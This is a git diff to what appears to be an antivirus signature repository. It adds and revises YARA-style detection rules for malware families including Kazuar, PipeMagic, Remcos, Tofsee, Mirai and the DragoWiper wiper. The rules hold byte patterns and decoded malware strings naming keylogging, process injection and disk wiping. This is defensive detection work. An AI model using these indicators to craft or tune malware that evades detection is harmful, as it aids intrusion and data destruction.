+} \ No newline at end of file diff --git a/Backdoor/Win32/Kazuar/Backdoor_Win32_Kazuar_I_dha.yar b/Backdoor/Win32/Kazuar/Backdoor_Win32_Kazuar_I_dha.yar new file mode 100644 index 0000000000..6a399229ae --- /dev/null +++ b/Backdoor/Win32/Kazuar/Backdoor_Win32_Kazuar_I_dha.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Win32_Kazuar_I_dha{ + meta: + description = "Backdoor:Win32/Kazuar.I!dha,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {24 00 70 00 61 00 79 00 6c 00 6f 00 61 00 64 00 5f 00 66 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 } //1 $payload_filename + $a_01_1 = {25 00 6c 00 73 00 5c 00 25 00 6c 00 73 00 } //1 %ls\%ls + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Backdoor/Win32/PipeMagic/Backdoor_Win32_PipeMagic_PA_MTB.yar b/Backdoor/Win32/PipeMagic/Backdoor_Win32_PipeMagic_PA_MTB.yar new file mode 100644 index 0000000000..b70dbd6a20 --- /dev/null +++ b/Backdoor/Win32/PipeMagic/Backdoor_Win32_PipeMagic_PA_MTB.yar @@ -0,0 +1,13 @@ + +rule Backdoor_Win32_PipeMagic_PA_MTB{ + meta: + description = "Backdoor:Win32/PipeMagic.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {66 00 75 00 63 00 6b 00 69 00 74 00 } //1 fuckit + $a_01_1 = {5c 5c 2e 5c 70 69 70 65 5c 31 2e 25 73 } //3 \\.\pipe\1.%s + $a_03_2 = {99 b9 ff 00 00 00 f7 f9 88 96 ?? ?? ?? ?? 46 83 fe 10 72 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*3+(#a_03_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Backdoor/Win32/Poison/Backdoor_Win32_Poison_GTZ_MTB.yar b/Backdoor/Win32/Poison/Backdoor_Win32_Poison_GTZ_MTB.yar new file mode 100644 index 0000000000..e871492f54 --- /dev/null +++ b/Backdoor/Win32/Poison/Backdoor_Win32_Poison_GTZ_MTB.yar @@ -0,0 +1,14 @@ + +rule Backdoor_Win32_Poison_GTZ_MTB{ + meta: + description = "Backdoor:Win32/Poison.GTZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 00 " + + strings : + $a_03_0 = {6d 31 00 0d ?? ?? ?? ?? 53 53 59 33 32 00 19 01 00 } //10 + $a_80_1 = {73 76 63 68 6f 63 74 2e 65 78 65 } //svchoct.exe 1 + $a_80_2 = {74 61 73 6b 6b 69 6c 6c 20 2f 66 20 2f 69 6d 20 20 73 76 63 68 6f 63 74 } //taskkill /f /im svchoct 1 + $a_80_3 = {6b 33 79 6c 6f 67 67 65 72 2e 74 78 74 } //k3ylogger.txt 1 + condition: + ((#a_03_0 & 1)*10+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Backdoor/Win32/Prosti/Backdoor_Win32_Prosti_CCJZ_MTB.yar b/Backdoor/Win32/Prosti/Backdoor_Win32_Prosti_CCJZ_MTB.yar new file mode 100644 index 0000000000..edaa930e4c --- /dev/null +++ b/Backdoor/Win32/Prosti/Backdoor_Win32_Prosti_CCJZ_MTB.yar @@ -0,0 +1,18 @@ + +rule Backdoor_Win32_Prosti_CCJZ_MTB{ + meta: + description = "Backdoor:Win32/Prosti.CCJZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 00 " + + strings : + $a_01_0 = {53 74 61 72 74 20 54 6f 20 49 6e 4a 65 63 74 } //2 Start To InJect + $a_01_1 = {44 6c 6c 72 75 6e } //2 Dllrun + $a_01_2 = {42 75 66 5f 43 6f 6f 6c 44 6c 6c } //1 Buf_CoolDll + $a_01_3 = {52 65 61 6c 48 6f 73 74 3a } //1 RealHost: + $a_01_4 = {48 6f 73 74 50 49 44 3a } //1 HostPID: + $a_01_5 = {53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 5c 4e 65 74 44 44 45 5c 53 79 73 44 6c 6c } //1 SYSTEM\CurrentControlSet\Services\NetDDE\SysDll + $a_01_6 = {5c 54 65 6d 70 5c 63 6f 6d 62 2e 64 6c 6c } //1 \Temp\comb.dll + $a_01_7 = {43 3a 5c 24 52 45 43 59 43 4c 45 2e 42 49 4e } //1 C:\$RECYCLE.BIN + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Backdoor/Win32/Remcos/Backdoor_Win32_Remcos_GZZ_MTB.yar b/Backdoor/Win32/Remcos/Backdoor_Win32_Remcos_GZZ_MTB.yar new file mode 100644 index 0000000000..e59a784ffb --- /dev/null +++ b/Backdoor/Win32/Remcos/Backdoor_Win32_Remcos_GZZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Win32_Remcos_GZZ_MTB{ + meta: + description = "Backdoor:Win32/Remcos.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_03_0 = {33 d8 33 fa 89 5c 24 ?? 8b cf 8b 74 24 ?? 8b df 8b c6 c1 eb 0f 0f a4 c1 11 33 d2 89 7c 24 ?? c1 e0 ?? 0b d1 0b d8 } //10 + $a_03_1 = {f0 64 a1 30 00 00 00 89 78 ?? 8b 42 ?? 03 c7 ff d0 } //5 + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Backdoor/Win32/Supper/Backdoor_Win32_Supper_GTB_MTB.yar b/Backdoor/Win32/Supper/Backdoor_Win32_Supper_GTB_MTB.yar new file mode 100644 index 0000000000..e9920319c1 --- /dev/null +++ b/Backdoor/Win32/Supper/Backdoor_Win32_Supper_GTB_MTB.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Win32_Supper_GTB_MTB{ + meta: + description = "Backdoor:Win32/Supper.GTB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {48 8b 04 1f 48 33 45 ?? 48 89 04 1e e8 } //5 + $a_03_1 = {48 8b 07 48 89 45 ?? 48 83 c7 ?? 48 31 db e8 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Backdoor/Win32/Tofsee/Backdoor_Win32_Tofsee_GNQ_MTB.yar b/Backdoor/Win32/Tofsee/Backdoor_Win32_Tofsee_GNQ_MTB.yar new file mode 100644 index 0000000000..8d7f3984dd --- /dev/null +++ b/Backdoor/Win32/Tofsee/Backdoor_Win32_Tofsee_GNQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_Win32_Tofsee_GNQ_MTB{ + meta: + description = "Backdoor:Win32/Tofsee.GNQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {d3 ea 89 55 ?? 8b 45 ?? 03 45 ?? 89 45 ?? 8b 4d ?? 33 4d ?? 89 4d ?? 81 3d ?? ?? ?? ?? c1 10 00 00 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Backdoor/Win32/Tofsee/Backdoor_Win32_Tofsee_GNR_MTB.yar b/Backdoor/Win32/Tofsee/Backdoor_Win32_Tofsee_GNR_MTB.yar new file mode 100644 index 0000000000..eb7e938ccd --- /dev/null +++ b/Backdoor/Win32/Tofsee/Backdoor_Win32_Tofsee_GNR_MTB.yar @@ -0,0 +1,11 @@ + +rule Backdoor_Win32_Tofsee_GNR_MTB{ + meta: + description = "Backdoor:Win32/Tofsee.GNR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {00 ff 30 e8 e4 6e 00 00 83 ec ?? c6 04 24 ?? 8d 1d ?? ?? ?? ?? 81 eb ?? ?? ?? ?? 53 8d 15 ?? ?? ?? ?? 81 ea ?? ?? ?? ?? 52 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Backdoor/Win64/AKDnsClient/Backdoor_Win64_AKDnsClient_A.yar b/Backdoor/Win64/AKDnsClient/Backdoor_Win64_AKDnsClient_A.yar new file mode 100644 index 0000000000..d19e4c7ad1 --- /dev/null +++ b/Backdoor/Win64/AKDnsClient/Backdoor_Win64_AKDnsClient_A.yar @@ -0,0 +1,11 @@ + +rule Backdoor_Win64_AKDnsClient_A{ + meta: + description = "Backdoor:Win64/AKDnsClient.A,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {72 65 73 75 6c 74 5f 72 65 63 65 69 76 65 64 ?? 56 48 42 44 40 48 00 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Backdoor/Win64/AKHttpClient/Backdoor_Win64_AKHttpClient_A.yar b/Backdoor/Win64/AKHttpClient/Backdoor_Win64_AKHttpClient_A.yar new file mode 100644 index 0000000000..cc46b32269 --- /dev/null +++ b/Backdoor/Win64/AKHttpClient/Backdoor_Win64_AKHttpClient_A.yar @@ -0,0 +1,11 @@ + +rule Backdoor_Win64_AKHttpClient_A{ + meta: + description = "Backdoor:Win64/AKHttpClient.A,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {56 48 42 44 40 48 ?? ?? ?? ?? ?? ?? 75 6e 6b 6e 6f 77 6e 2e 6c 6f 63 61 6c 00 00 00 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Backdoor/Win64/CoinFlip/Backdoor_Win64_CoinFlip_A_dha.yar b/Backdoor/Win64/CoinFlip/Backdoor_Win64_CoinFlip_A_dha.yar new file mode 100644 index 0000000000..8de63e9b87 --- /dev/null +++ b/Backdoor/Win64/CoinFlip/Backdoor_Win64_CoinFlip_A_dha.yar @@ -0,0 +1,19 @@ + +rule Backdoor_Win64_CoinFlip_A_dha{ + meta: + description = "Backdoor:Win64/CoinFlip.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 00 " + + strings : + $a_01_0 = {73 72 63 5c 63 68 61 6e 67 65 62 61 63 6b 75 70 2e 72 73 } //1 src\changebackup.rs + $a_01_1 = {73 72 63 5c 73 63 72 65 65 6e 73 68 6f 74 2e 72 73 } //1 src\screenshot.rs + $a_01_2 = {73 72 63 5c 74 61 73 6b 6c 69 73 74 2e 72 73 } //1 src\tasklist.rs + $a_01_3 = {73 72 63 5c 75 70 6c 6f 61 64 5f 66 69 6c 65 2e 72 73 } //1 src\upload_file.rs + $a_01_4 = {73 72 63 5c 64 6e 73 68 6f 73 74 6e 61 6d 65 2e 72 73 } //1 src\dnshostname.rs + $a_01_5 = {73 72 63 5c 64 6f 77 6e 6c 6f 61 64 66 69 6c 65 2e 72 73 } //1 src\downloadfile.rs + $a_01_6 = {73 72 63 5c 69 70 63 6f 6e 66 69 67 2e 72 73 } //1 src\ipconfig.rs + $a_01_7 = {73 72 63 5c 6b 69 6c 6c 70 72 6f 67 72 61 6d 2e 72 73 } //1 src\killprogram.rs + $a_01_8 = {73 72 63 5c 72 75 6e 63 6f 6d 6d 61 6e 64 2e 72 73 } //1 src\runcommand.rs + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Backdoor/Win64/PipeMagic/Backdoor_Win64_PipeMagic_D_ldr.yar b/Backdoor/Win64/PipeMagic/Backdoor_Win64_PipeMagic_D_ldr.yar new file mode 100644 index 0000000000..c6f0471ccd --- /dev/null +++ b/Backdoor/Win64/PipeMagic/Backdoor_Win64_PipeMagic_D_ldr.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Win64_PipeMagic_D_ldr{ + meta: + description = "Backdoor:Win64/PipeMagic.D!ldr,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {8a 14 08 41 30 14 08 48 8d 51 01 48 89 d1 48 83 fa 10 75 } //1 + $a_03_1 = {c1 e6 18 c1 e7 10 41 c1 e3 08 41 09 cb 41 09 fb 48 89 df 41 09 f3 41 8b 48 ?? 0f c9 44 31 d9 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Backdoor/Win64/PipeMagic/Backdoor_Win64_PipeMagic_E.yar b/Backdoor/Win64/PipeMagic/Backdoor_Win64_PipeMagic_E.yar new file mode 100644 index 0000000000..ee841ea032 --- /dev/null +++ b/Backdoor/Win64/PipeMagic/Backdoor_Win64_PipeMagic_E.yar @@ -0,0 +1,12 @@ + +rule Backdoor_Win64_PipeMagic_E{ + meta: + description = "Backdoor:Win64/PipeMagic.E,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {41 03 d0 c1 fa 07 8b ca c1 e9 1f 03 d1 69 ca ff 00 00 ?? 44 2b c1 44 88 04 03 48 03 df 48 83 fb 10 } //1 + $a_01_1 = {41 0f b6 00 49 ff c0 8b c8 48 c1 e8 04 83 e1 0f 42 8a 04 18 88 02 48 8d 52 02 42 8a 04 19 88 42 ff 41 83 c1 ff } //1 + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Backdoor/Win64/PipeMagic/Backdoor_Win64_PipeMagic_F.yar b/Backdoor/Win64/PipeMagic/Backdoor_Win64_PipeMagic_F.yar new file mode 100644 index 0000000000..aa0c0b90c5 --- /dev/null +++ b/Backdoor/Win64/PipeMagic/Backdoor_Win64_PipeMagic_F.yar @@ -0,0 +1,11 @@ + +rule Backdoor_Win64_PipeMagic_F{ + meta: + description = "Backdoor:Win64/PipeMagic.F,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {52 53 41 20 74 6f 6f 20 73 68 6f 72 74 29 2e 00 00 00 00 00 ?? 00 30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 00 00 00 00 34 34 33 00 47 45 54 20 2f 25 73 20 48 54 54 50 2f 31 2e 31 0d 0a 00 00 00 00 00 00 31 32 37 2e 30 2e 30 2e 31 00 00 00 00 00 00 00 48 6f 73 74 3a 20 25 73 0d 0a 00 00 00 00 00 00 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 0d 0a 00 00 00 00 00 00 00 00 00 00 00 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Backdoor/Win64/Ruspble/Backdoor_Win64_Ruspble_A.yar b/Backdoor/Win64/Ruspble/Backdoor_Win64_Ruspble_A.yar index b7eccce5c1..70fb31868e 100644 --- a/Backdoor/Win64/Ruspble/Backdoor_Win64_Ruspble_A.yar +++ b/Backdoor/Win64/Ruspble/Backdoor_Win64_Ruspble_A.yar @@ -6,11 +6,11 @@ rule Backdoor_Win64_Ruspble_A{ strings : $a_41_0 = {8a 0c 00 8d 47 01 41 32 0b 99 41 f7 f9 41 32 ca 41 88 0b 8b fa 49 ff c3 44 8a d1 48 83 eb 01 01 } //1 $a_48_1 = {30 2e 30 2e 30 2e 30 00 01 00 0a 41 48 b8 11 42 08 21 84 10 42 08 01 00 14 43 47 6c 6f 62 90 01 04 61 6c 5c 25 90 01 04 30 38 78 00 90 00 01 00 16 43 8e 4e 0e ec 74 90 01 03 aa fc 0d 7c 74 90 01 } //2560 - $a_af_2 = {90 00 01 00 11 01 53 79 73 74 65 6d 46 75 6e 63 74 69 6f 6e 30 33 36 00 00 5d 04 00 00 cc 3a 05 80 5c 27 00 00 d4 3a 05 80 00 00 01 00 08 00 11 00 af 01 46 6f 72 6d 42 6f 6f 6b 2e 42 47 21 4d 54 42 00 00 0a 40 05 82 70 00 04 00 67 16 00 00 d6 b1 dc 00 15 28 ec e6 b3 cb ee 56 00 e2 0b 00 01 20 c4 47 4e c8 67 16 00 00 87 e5 6f 11 f1 bf ba 17 ee b3 a1 1f 00 e4 0d 00 01 20 02 56 af 3b 67 16 00 00 01 45 c8 12 1f db 4a a6 69 10 65 cf 00 08 0c 00 01 20 c7 e4 98 7a 67 16 00 00 60 f0 b1 b7 4e 2f 74 56 af fc f9 0a 1d 8c 0a 00 01 20 ed 28 15 ba 67 16 00 00 8c 82 a0 c3 77 67 93 8b be 0d 3e d9 08 16 0c 00 01 20 } //21507 - $a_b0_3 = {16 00 00 f2 3f 38 db 77 67 93 8b 9d 49 36 a3 08 1a 0c 00 01 20 a4 72 bb d2 67 16 00 00 c9 00 6d } //4308 - $a_de_4 = {a7 26 6b 12 00 8a 09 00 01 20 b0 0f c7 b0 67 16 00 00 52 6a 9d f3 e8 ba ee 50 58 57 99 a2 d6 7a 0a 00 01 20 a7 a9 bd 04 78 7d 00 00 05 00 05 00 02 00 00 03 00 47 03 16 0b 2b 2d 02 06 07 28 90 01 01 00 00 06 0c 04 03 6f 90 01 01 00 00 0a 59 0d 03 08 09 28 90 01 01 00 00 06 03 08 09 28 90 01 01 00 00 06 03 04 28 90 01 01 00 00 06 07 17 58 0b 07 02 6f 90 01 01 00 00 0a 32 90 00 02 00 25 03 02 03 16 61 04 16 60 6f 90 01 01 00 00 0a 0a 90 02 04 28 90 01 01 00 00 0a 16 61 28 90 01 01 00 00 0a 2a 90 00 00 00 78 2f 01 00 06 00 06 00 06 00 00 01 00 } //-32033 - $a_00_5 = {70 00 65 00 6e 00 76 00 70 00 6e 00 31 00 5c 00 6f 00 70 00 65 00 6e 00 76 00 70 00 6e 00 31 00 2e 00 65 00 78 00 65 00 01 00 12 01 68 50 66 64 73 66 68 64 73 64 72 6f 64 73 63 65 73 73 01 00 18 01 6c 70 42 61 73 66 73 64 73 64 66 65 64 64 66 68 73 41 64 64 72 65 73 73 01 00 5e 01 66 00 51 00 55 00 48 00 62 00 58 00 44 00 61 00 6a } //298 + $a_af_2 = {90 00 01 00 11 01 53 79 73 74 65 6d 46 75 6e 63 74 69 6f 6e 30 33 36 00 00 5d 04 00 00 cc 3a 05 80 5c 27 00 00 d4 3a 05 80 00 00 01 00 08 00 11 00 af 01 46 6f 72 6d 42 6f 6f 6b 2e 42 47 21 4d 54 42 00 00 05 40 05 82 70 00 04 00 67 16 00 00 01 45 c8 12 1f db 4a a6 69 10 65 cf 00 08 0c 00 01 20 c7 e4 98 7a 67 16 00 00 34 c6 29 76 26 b0 bd e0 f5 e5 52 02 21 8c 0a 00 01 20 a0 7a be fa 67 16 00 00 f2 3f 38 db 77 67 93 8b 9d 49 36 a3 08 1a 0c 00 01 20 a4 72 bb d2 78 7d 00 00 05 00 05 00 02 00 00 03 00 47 03 16 0b 2b 2d 02 06 07 28 90 01 01 00 00 06 0c 04 03 6f 90 01 01 00 00 0a 59 0d 03 08 09 28 90 01 01 } //21507 + $a_03_3 = {08 09 28 90 01 01 } //0 + $a_03_4 = {04 28 90 01 01 00 } //0 + $a_17_5 = {0b 07 02 6f 90 01 01 } //1536 condition: - ((#a_41_0 & 1)*1+(#a_48_1 & 1)*2560+(#a_af_2 & 1)*21507+(#a_b0_3 & 1)*4308+(#a_de_4 & 1)*-32033+(#a_00_5 & 1)*298) >=4 + ((#a_41_0 & 1)*1+(#a_48_1 & 1)*2560+(#a_af_2 & 1)*21507+(#a_03_3 & 1)*0+(#a_03_4 & 1)*0+(#a_17_5 & 1)*1536) >=4 } \ No newline at end of file diff --git a/BrowserModifier/MSIL/MediaArena/BrowserModifier_MSIL_MediaArena.yar b/BrowserModifier/MSIL/MediaArena/BrowserModifier_MSIL_MediaArena.yar index f13d5030e4..dc59da6905 100644 --- a/BrowserModifier/MSIL/MediaArena/BrowserModifier_MSIL_MediaArena.yar +++ b/BrowserModifier/MSIL/MediaArena/BrowserModifier_MSIL_MediaArena.yar @@ -15,6 +15,24 @@ rule BrowserModifier_MSIL_MediaArena{ } rule BrowserModifier_MSIL_MediaArena_2{ + meta: + description = "BrowserModifier:MSIL/MediaArena,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 00 " + + strings : + $a_80_0 = {67 65 74 5f 41 70 70 4e 61 6d 65 } //get_AppName 1 + $a_80_1 = {67 65 74 5f 54 61 72 67 65 74 50 61 74 68 } //get_TargetPath 1 + $a_80_2 = {73 65 74 5f 54 61 72 67 65 74 50 61 74 68 } //set_TargetPath 1 + $a_80_3 = {67 65 74 5f 55 72 6c } //get_Url 1 + $a_80_4 = {67 65 74 5f 44 6f 42 72 6f } //get_DoBro 1 + $a_80_5 = {73 65 74 5f 53 6f 75 72 63 65 49 64 65 6e } //set_SourceIden 1 + $a_80_6 = {6f 66 66 65 72 5f 69 64 } //offer_id 1 + $a_80_7 = {50 44 46 53 6b 69 6c 6c 73 } //PDFSkills 1 + $a_80_8 = {66 61 76 69 63 6f 6e } //favicon 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1) >=9 + +} +rule BrowserModifier_MSIL_MediaArena_3{ meta: description = "BrowserModifier:MSIL/MediaArena,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 00 " @@ -33,7 +51,7 @@ rule BrowserModifier_MSIL_MediaArena_2{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1) >=10 } -rule BrowserModifier_MSIL_MediaArena_3{ +rule BrowserModifier_MSIL_MediaArena_4{ meta: description = "BrowserModifier:MSIL/MediaArena,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " @@ -50,7 +68,7 @@ rule BrowserModifier_MSIL_MediaArena_3{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1) >=8 } -rule BrowserModifier_MSIL_MediaArena_4{ +rule BrowserModifier_MSIL_MediaArena_5{ meta: description = "BrowserModifier:MSIL/MediaArena,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 00 " @@ -71,7 +89,7 @@ rule BrowserModifier_MSIL_MediaArena_4{ ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1) >=12 } -rule BrowserModifier_MSIL_MediaArena_5{ +rule BrowserModifier_MSIL_MediaArena_6{ meta: description = "BrowserModifier:MSIL/MediaArena,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 00 " @@ -92,7 +110,7 @@ rule BrowserModifier_MSIL_MediaArena_5{ ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*3+(#a_01_3 & 1)*3+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1) >=12 } -rule BrowserModifier_MSIL_MediaArena_6{ +rule BrowserModifier_MSIL_MediaArena_7{ meta: description = "BrowserModifier:MSIL/MediaArena,SIGNATURE_TYPE_PEHSTR,08 00 08 00 06 00 00 " diff --git a/DDoS/Linux/Mirai/DDoS_Linux_Mirai_PA_MTB.yar b/DDoS/Linux/Mirai/DDoS_Linux_Mirai_PA_MTB.yar index 02c69031ec..a38a7ac78c 100644 --- a/DDoS/Linux/Mirai/DDoS_Linux_Mirai_PA_MTB.yar +++ b/DDoS/Linux/Mirai/DDoS_Linux_Mirai_PA_MTB.yar @@ -1,7 +1,7 @@ rule DDoS_Linux_Mirai_PA_MTB{ meta: - description = "DDoS:Linux/Mirai.PA!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 09 00 00 " + description = "DDoS:Linux/Mirai.PA!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 0a 00 00 " strings : $a_00_0 = {6d 69 72 61 69 } //2 mirai @@ -13,7 +13,8 @@ rule DDoS_Linux_Mirai_PA_MTB{ $a_01_6 = {6b 69 6c 6c 65 72 73 74 6f 72 6d } //1 killerstorm $a_01_7 = {4b 48 73 65 72 76 65 72 48 41 43 4b 45 52 } //1 KHserverHACKER $a_01_8 = {68 75 61 77 65 69 73 63 61 6e 6e 65 72 5f 73 63 61 6e 6e 65 72 5f 6b 69 6c 6c } //1 huaweiscanner_scanner_kill + $a_01_9 = {63 6f 6d 2e 62 69 74 64 65 66 65 6e 64 65 72 } //-10 com.bitdefender condition: - ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=5 + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*-10) >=5 } \ No newline at end of file diff --git a/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_A_dha.yar b/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_A_dha.yar new file mode 100644 index 0000000000..2c59565cba --- /dev/null +++ b/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_A_dha.yar @@ -0,0 +1,15 @@ + +rule DoS_Win32_DragoWiper_A_dha{ + meta: + description = "DoS:Win32/DragoWiper.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_01_0 = {00 4d 79 41 70 70 6c 69 63 61 74 69 6f 6e 00 } //1 + $a_01_1 = {00 6d 79 61 70 70 5f 65 78 65 70 61 74 68 2e 74 78 74 00 } //1 + $a_01_2 = {53 00 74 00 61 00 72 00 74 00 69 00 6e 00 67 00 20 00 6e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 73 00 68 00 61 00 72 00 65 00 20 00 65 00 6e 00 75 00 6d 00 65 00 72 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 2e 00 2e 00 } //1 Starting network share enumeration... + $a_01_3 = {00 50 72 6f 63 65 73 73 69 6e 67 20 73 79 73 74 65 6d 20 64 72 69 76 65 3a 20 00 } //1 + $a_01_4 = {00 5b 49 4e 46 4f 5d 20 46 69 6c 65 20 64 61 74 61 20 65 6e 63 72 79 70 74 65 64 20 69 6e 20 6d 65 6d 6f 72 79 2e 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_B_dha.yar b/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_B_dha.yar new file mode 100644 index 0000000000..4b3901b75b --- /dev/null +++ b/DoS/Win32/DragoWiper/DoS_Win32_DragoWiper_B_dha.yar @@ -0,0 +1,14 @@ + +rule DoS_Win32_DragoWiper_B_dha{ + meta: + description = "DoS:Win32/DragoWiper.B!dha,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {00 4d 79 41 70 70 6c 69 63 61 74 69 6f 6e 00 } //2 + $a_01_1 = {5b 00 21 00 5d 00 20 00 4f 00 70 00 65 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 54 00 6f 00 6b 00 65 00 6e 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 } //2 [!] OpenProcessToken failed + $a_01_2 = {5b 00 2b 00 5d 00 20 00 57 00 69 00 70 00 69 00 6e 00 67 00 20 00 6d 00 65 00 74 00 61 00 64 00 61 00 74 00 61 00 20 00 6f 00 6e 00 } //1 [+] Wiping metadata on + $a_01_3 = {5b 00 2d 00 5d 00 20 00 55 00 6e 00 61 00 62 00 6c 